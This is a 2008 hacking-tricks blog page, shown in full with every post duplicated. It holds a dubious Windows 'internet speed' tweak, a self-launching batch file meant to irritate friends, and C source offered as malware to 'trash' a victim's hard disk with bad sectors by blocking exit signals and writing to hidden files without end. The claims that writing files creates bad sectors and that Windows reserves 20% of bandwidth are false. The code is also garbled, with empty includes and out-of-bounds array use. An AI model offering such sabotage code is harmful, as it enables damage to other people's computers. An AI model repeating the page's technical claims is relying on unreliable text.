Tuesday, June 24, 2008

Make Your Internet Faster

By default Windows reserves a part of your internet speed( 20% by default) for the use of its own programs, thus making your internet reasonably slower. To increase your internet speed,

  • Click Start, go to Run and type gpedit.msc.
  • This will open the Group Policy Editor.
  • In the gpedit window, click on Local Computer Policy>Computer Configuration>Administrative Templates>Network>QOS Packet Schedular.
  • Select the Limit Reservable Bandwith option and double click it to see its properties.
  • In the Settings tab select the 'Enable' option and and reduce the Bandwidth Limit(%) to 0.
  • Click on the Apply button.

Make Your Internet Faster

By default Windows reserves a part of your internet speed( 20% by default) for the use of its own programs, thus making your internet reasonably slower. To increase your internet speed,

  • Click Start, go to Run and type gpedit.msc.
  • This will open the Group Policy Editor.
  • In the gpedit window, click on Local Computer Policy>Computer Configuration>Administrative Templates>Network>QOS Packet Schedular.
  • Select the Limit Reservable Bandwith option and double click it to see its properties.
  • In the Settings tab select the 'Enable' option and and reduce the Bandwidth Limit(%) to 0.
  • Click on the Apply button.

Monday, June 23, 2008

The Infinite Loop..

This program will create a unlimited loop which you can use to irritate your friends.

In Notepad type:
start
ankit.bat
ankit.bat

Save the file as ankit.bat . If you care to test it, its a harmless loop.You might have to restart your PC after you run this but.

Working
This bat file opens the file named ankit.bat. Since you saved it as worm.bat, hence ankit.bat will open another ankit.bat and so on.

The Infinite Loop..

This program will create a unlimited loop which you can use to irritate your friends.

In Notepad type:
start
ankit.bat
ankit.bat

Save the file as ankit.bat . If you care to test it, its a harmless loop.You might have to restart your PC after you run this but.

Working
This bat file opens the file named ankit.bat. Since you saved it as worm.bat, hence ankit.bat will open another ankit.bat and so on.

Create Bad Sector in HardDisk

/*This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
*
* I don't take responsibility for what you do with this program, enjoy.
*
* This program is written in 'c' language you can save it with exe extension.
*/

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

Create Bad Sector in HardDisk

/*This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
*
* I don't take responsibility for what you do with this program, enjoy.
*
* This program is written in 'c' language you can save it with exe extension.
*/

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}